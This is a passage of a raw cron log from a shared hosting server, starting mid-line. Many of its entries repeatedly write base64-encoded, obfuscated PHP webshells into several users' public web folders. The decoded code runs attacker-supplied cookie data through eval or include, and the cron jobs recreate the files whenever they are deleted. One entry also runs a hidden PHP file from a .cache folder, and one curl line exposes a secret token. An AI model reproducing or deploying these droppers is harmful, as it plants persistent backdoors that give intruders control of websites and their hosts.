GUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:04:01 medusa CROND[2156]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 17:04:01 medusa CROND[2158]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:04:01 medusa CROND[2159]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:04:01 medusa CROND[2160]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 17:04:01 medusa CROND[2166]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 17:05:01 medusa CROND[21451]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 17:05:01 medusa CROND[21675]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 17:05:01 medusa CROND[21680]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 17:05:01 medusa CROND[21685]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 17:05:01 medusa CROND[21686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 17:05:01 medusa CROND[21687]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 17:05:01 medusa CROND[21691]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 17:05:01 medusa CROND[21693]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 17:05:01 medusa CROND[21694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 17:05:01 medusa CROND[21696]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:05:01 medusa CROND[21698]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 17:05:01 medusa CROND[21695]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 17:05:01 medusa CROND[21699]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 17:05:01 medusa CROND[21700]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 17:05:01 medusa CROND[21702]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:05:01 medusa CROND[21704]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 17:05:01 medusa CROND[21712]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:05:01 medusa CROND[21714]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 17:05:01 medusa CROND[21715]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 17:05:01 medusa CROND[21725]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:05:01 medusa CROND[21726]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 17:05:01 medusa CROND[21727]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 17:05:01 medusa CROND[21731]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 17:05:01 medusa CROND[21733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)